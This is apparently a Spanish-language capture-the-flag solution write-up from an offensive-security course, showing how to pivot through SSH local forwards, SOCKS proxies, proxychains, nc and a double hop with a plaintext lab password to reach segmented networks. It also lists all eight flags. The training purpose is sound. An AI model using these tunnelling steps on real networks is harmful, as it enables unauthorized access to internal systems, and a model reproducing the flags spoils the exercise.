Ghost AcademyGhostOffensive · Ghost Academy
GhostOffensiveMódulo 15SOLO SOLUCIÓN

Writeup — Red segmentada

← Volver al capítulo 15

Atención: contiene las 8 flags. Inténtalo primero por tu cuenta.

Todos los túneles y salidas son reales, ejecutados desde el contenedor atacante contra el laboratorio desplegado. Se usa sshpass para automatizar; tú puedes teclear las contraseñas.

Fase 0 — Confirmar la segmentación

Desde el atacante, las redes internas no se alcanzan; el pivote sí:

kali@lab (salida real)
$ curl --max-time 4 http://10.13.0.10/     # corp
curl --max-time 4 http://10.14.0.30/     # deep
(timeout: no hay ruta directa a ninguna de las dos)
kali@lab
$ ssh leo@10.12.0.2 'ip -o -4 addr'
pivot: 10.12.0.2/24 (edge)
pivot: 10.13.0.2/24 (corp)   # el pivote sí ve la red corp

corp — un solo pivote

Reto 1 — Reenvío local (-L) a app:80

Túnel local★★

kali@lab (salida real)
$ ssh -f -N -L 8001:10.13.0.10:80 leo@10.12.0.2
curl -s http://127.0.0.1:8001/ | grep -o 'GO{{[^}}]*}}'
GO{el_tunel_local_te_lleva_dentro}

Flag: GO{el_tunel_local_te_lleva_dentro}

Reto 2 — SOCKS dinámico (-D) a app:8080

SOCKS★★

kali@lab (salida real)
$ ssh -f -N -D 1080 leo@10.12.0.2
# /etc/proxychains4.conf -> socks5 127.0.0.1 1080
proxychains4 curl -s http://10.13.0.10:8080/ | grep -o 'GO{{[^}}]*}}'
GO{socks_dinamico_alcanza_toda_la_red}

Flag: GO{socks_dinamico_alcanza_toda_la_red}

Reto 3 — proxychains por la corp (files:80)

SOCKS★★

kali@lab (salida real)
$ proxychains4 curl -s http://10.13.0.40/ | grep -o 'GO{{[^}}]*}}'
GO{proxychains_recorre_la_corp}

Flag: GO{proxychains_recorre_la_corp}

Con el mismo SOCKS del reto 2 llegas a cualquier host de la corp. También podrías haber usado -L 8002:10.13.0.40:80.

Reto 4 — Servicio web interno (db:5000)

SOCKS★★

kali@lab (salida real)
$ proxychains4 curl -s http://10.13.0.20:5000/ | grep -o 'GO{{[^}}]*}}'
GO{reenvio_a_un_servicio_web_interno}

Flag: GO{reenvio_a_un_servicio_web_interno}

Reto 5 — Puerto no-HTTP (db:9999)

SOCKS + nc★★

No todo es web. El puerto 9999 es un servicio TCP en crudo; se alcanza igual por el SOCKS con nc:

kali@lab (salida real)
$ proxychains4 nc 10.13.0.20 9999 | grep -o 'GO{{[^}}]*}}'
GO{reenvio_a_un_puerto_no_http}

Flag: GO{reenvio_a_un_puerto_no_http}

deep — doble pivote a través de app

La red deep (10.14.0.0/24) no la ve el pivote: solo la ve app, que tiene una pata en ambas redes. Como app también tiene SSH (maya), se encadena: SOCKS por el pivote y, a través de él, un SSH a app con reenvíos hacia secret.

kali@lab
$ ssh -f -N -D 1080 leo@10.12.0.2
proxychains4 sshpass -p 'maya-Th3-Cat!' ssh -f -N \
  -L 18080:10.14.0.30:80 -L 18443:10.14.0.30:8443 -L 19000:10.14.0.30:9000 maya@10.13.0.10
(túneles establecidos a través de dos saltos)

Reto 6 — secret:80 (red profunda)

Doble pivote★★★

kali@lab (salida real)
$ curl -s http://127.0.0.1:18080/ | grep -o 'GO{{[^}}]*}}'
GO{doble_pivote_a_la_red_profunda}

Flag: GO{doble_pivote_a_la_red_profunda}

Reto 7 — secret:8443

Doble pivote★★★

kali@lab (salida real)
$ curl -s http://127.0.0.1:18443/ | grep -o 'GO{{[^}}]*}}'
GO{la_red_profunda_no_se_ve_desde_fuera}

Flag: GO{la_red_profunda_no_se_ve_desde_fuera}

Reto 8 — secret:9000

Doble pivote★★★

kali@lab (salida real)
$ curl -s http://127.0.0.1:19000/ | grep -o 'GO{{[^}}]*}}'
GO{el_ultimo_salto_tambien_se_tuneliza}

Flag: GO{el_ultimo_salto_tambien_se_tuneliza}

Alternativa con ProxyJump en una línea: ssh -J leo@10.12.0.2 maya@10.13.0.10 -L 19000:10.14.0.30:9000 -N (pide la contraseña de cada salto).

Resumen

#ObjetivoTécnica
1corp app:80ssh -L
2corp app:8080ssh -D + proxychains
3corp files:80proxychains (SOCKS)
4corp db:5000proxychains (SOCKS)
5corp db:9999 (TCP)proxychains + nc
6-8deep secret:80/8443/9000doble pivote (SOCKS → ssh a app → -L)